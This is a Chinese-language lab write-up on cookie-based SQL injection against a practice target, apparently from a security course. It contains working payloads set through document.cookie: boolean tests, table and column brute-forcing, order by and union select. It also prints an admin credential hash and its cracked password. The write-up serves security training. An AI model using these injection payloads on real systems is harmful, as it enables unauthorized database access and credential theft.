1.概念
1.Cookie注入:简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同。
原理:php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参(php 5.4以上版本就不会接受Cookie传参了)
2.修改cookie的方式
-
burp抓包直接修改
-
在浏览器的开发者工具里面修改设置
a.console设置----document.cookie=“id=”+escape(“171”)
b.Application-Cookie里面修改
-
使用插件修改
2.靶场
1.尝试注入
使用payload: and 1=2 ,发现报错,继续使用order by,union select语句,结果还是报错
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DTdcGLHg-1649493780217)(D:\掌控安全\作业\图片\SQL注入3\2.png)]
2.尝试cookie注入
使用payload:document.cookie="id = " + escape("171 and 1=1 ")
使用payload:document.cookie="id = " + escape("171 and 1=2 ")
存在注入
3.爆破表名
payload:document.cookie="id = " + escape(“171 and exists(select * from 表名)”)
使用burp跑包爆破表名
4.爆破字段名
payload:document.cookie="id = " + escape(“171 and exists(select 字段名 from admin)”)
爆破出字段id username password
5.判断显错位
payload:document.cookie="id = " + escape("171 order by 10 ") ,界面正常显示
payload:document.cookie="id = " + escape("171 order by 11 ") ,界面显示错误
判断字段数有10个
payload:document.cookie="id = " + escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin ")
6.查找用户名密码
用户名:admin 密码:b9a2a2b5dffb918c,密码md5解密密码为:welcome
7.使用用户名密码登录
拿到flag